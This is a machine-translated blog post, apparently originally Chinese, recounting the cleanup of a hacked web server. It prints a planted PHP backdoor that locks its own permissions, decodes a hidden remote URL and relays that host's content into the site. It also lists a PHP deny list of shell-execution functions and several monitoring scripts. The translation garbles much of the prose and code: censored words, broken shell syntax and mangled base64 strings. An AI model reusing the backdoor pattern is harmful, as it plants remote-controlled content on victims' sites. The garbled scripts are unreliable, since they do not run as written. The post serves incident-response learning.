Remember that a Web server is * * * process

One day to receive the telecommunications network Supervisor email notification, the content is a website is * * *, there is a link to display "xxx" information. command to fix it immediately.
Resolution process:
1, view the server, found the server root directory show1.php,show2,php.info.php three files, the content is the same. The contents are as follows:
<?php
Set_time_limit (0);
$url 1 = $_server[' php_self ');
$name = substr ($url 1, Strrpos ($url 1, '/') +1);
chmod ($name, 0444);
Header ("content-type:text/html;charset=gb2312");
Date_default_timezone_set (' PRC ');
$a = Base64_decode ("ahr0cdovl2jhb2x1by5zagfuemhpnjy2lmnulw==");
$b = Base64_decode ("ahr0cdovlw=="). $_server[' Http_host '. $_server[' php_self '];
$c = file_get_contents ($a. Base64_decode ("l2luzgv4lnbocd9ob3n0pq=="). $b. "&url=". $_server[' query_string '. "&domain=". $_server[' server_name ');
Echo $c;
?>
According to the developer's analysis, the result is that XXX will display the desired content by means of a pass-through.

2. Move the files to the/opt/hacker directory.
3, the Ningx unnecessary configuration information commented out, restart.
4. Annotate unnecessary port development on PF. Restart PF
5, note haproxy unnecessary services.
6, write the SH script, monitoring the Web root directory/data/www/wdl directory, all new files are deleted. Exclude several directories:
#!/bin/bash
While True
Do
find/data/www/wdl/-maxdepth 1-mtime-1-name "">>/opt/webmon.log
find/data/www/wdl/-maxdepth 1-mtime-1-name "."|xargs rm-f
find/data/www/wdl/module_api/-mtime-1-name ".">>/opt/webmon.log
find/data/www/wdl/module_api/-mtime-1-name "."|xargs rm-f
find/data/www/wdl/image/-mtime-1-name ".">>/opt/webmon.log
find/data/www/wdl/image/-mtime-1-name "."|xargs rm-f
find/data/www/wdl/static/-mtime-1-name ".">>/opt/webmon.log
find/data/www/wdl/static/-mtime-1-name "."|xargs rm-f
find/data/www/wdl/lang/-mtime-1-name ".">>/opt/webmon.log
find/data/www/wdl/lang/-mtime-1-name "."|xargs rm-f
find/data/www/wdl/api/-mtime-1-name ".">>/opt/webmon.log
find/data/www/wdl/api/-mtime-1-name "."|xargs rm-f
find/data/www/wdl/includes/-mtime-1-name ".">>/opt/webmon.log
find/data/www/wdl/includes/-mtime-1-name "."|xargs rm-f
find/data/www/wdl/pay/-mtime-1-name ".">>/opt/webmon.log
find/data/www/wdl/pay/-mtime-1-name "."|xargs rm-f
find/data/www/wdl/script/-mtime-1-name ".">>/opt/webmon.log
find/data/www/wdl/script/-mtime-1-name "."|xargs rm-f
find/data/www/wdl/uc_client/-mtime-1-name ".">>/opt/webmon.log
find/data/www/wdl/uc_client/-mtime-1-name "."|xargs rm-f
find/data/www/wdl/module/-mtime-1-name ".">>/opt/webmon.log
find/data/www/wdl/module/-mtime-1-name "."|xargs rm-f
find/data/www/wdl/lib/-mtime-1-name ".">>/opt/webmon.log
find/data/www/wdl/lib/-mtime-1-name "."|xargs rm-f
find/data/www/wdl/log/-mtime-1-name ".">>/opt/webmon.log
find/data/www/wdl/log/-mtime-1-name "."|xargs rm-f
find/data/www/wdl/dlq9j15dshw5f/-mtime-1-name ".">>/opt/webmon.log
find/data/www/wdl/dlq9j15dshw5f/-mtime-1-name ". * "|xargs rm-f
Sleep 10
Done

7, adjust the php.ini disable_functions:
Disable_functions = Touch,chmod,pcntl_alarm, Pcntl_fork, Pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped , pcntl_wifsignaled, Pcntl_wexitstatus, Pcntl_wtermsig, Pcntl_wstopsig, Pcntl_signal, Pcntl_signal_dispatch, Pcntl_ Get_last_error, Pcntl_strerror, Pcntl_sigprocmask, Pcntl_sigwaitinfo, pcntl_sigtimedwait, Pcntl_exec, Pcntl_ GetPriority, Pcntl_setpriority, eval, Popen, PassThru, exec, System, shell_exec, Proc_open, Proc_get_status, Chroot, CHGR P, Chown, Ini_alter, Ini_restore, DL, Pfsockopen, Openlog, Syslog, Readlink, Symlink, Popepassthru, Stream_socket_server, Fsocket, ChDir

8, view process and proc in PS:
#!/bin/bash
str_pids= " ps-a | awk ' {print $} ' '
for i in/proc/[[:d Igit:] ]*; Do
If echo "$str _pids" | Grep-qs basename "$i" ; then:else echo "Rootkit's PID: $ (basename" $i ")" Fi done The
did not find an exception.
9, Download Rkhunter tool Check System Health
found that many system commands and configuration files have been modified. Fortunately there is a Web server that is not mounted online and is still available. Therefore, the server is * * * offline, there is no online server cloning two new Web server generation, currently only one online service.
10, scripting, real-time monitoring rkhunter tool monitoring results.
#!/bin/bash
While True
do
rkhunter-c-sk--nocolor >/opt/check.log
If [ cat Check.log |grep Ifconfig|awk ' {print $} ' = = ' OK ']
then
Echo good
else
/usr/bin/python/opt/sendsms.py ' dangerous f or Rkhhunter '
Echo ' dangerous for rkhunter ' >>/var/log/messages
fi
If [!-S Webmon.log]
then
Echo Good
Else
/usr/bin/python/opt/sendsms.py ' dangerous for Webmon.log '
Echo ' dangerous for Webmon.log ' >> /var/log/messages
Fi
Sleep +
Done
The target is: Immediately after the problem is found, SMS alarm. sendsms.py is the SMS alarm script I wrote.

Remember that a Web server is processed by the process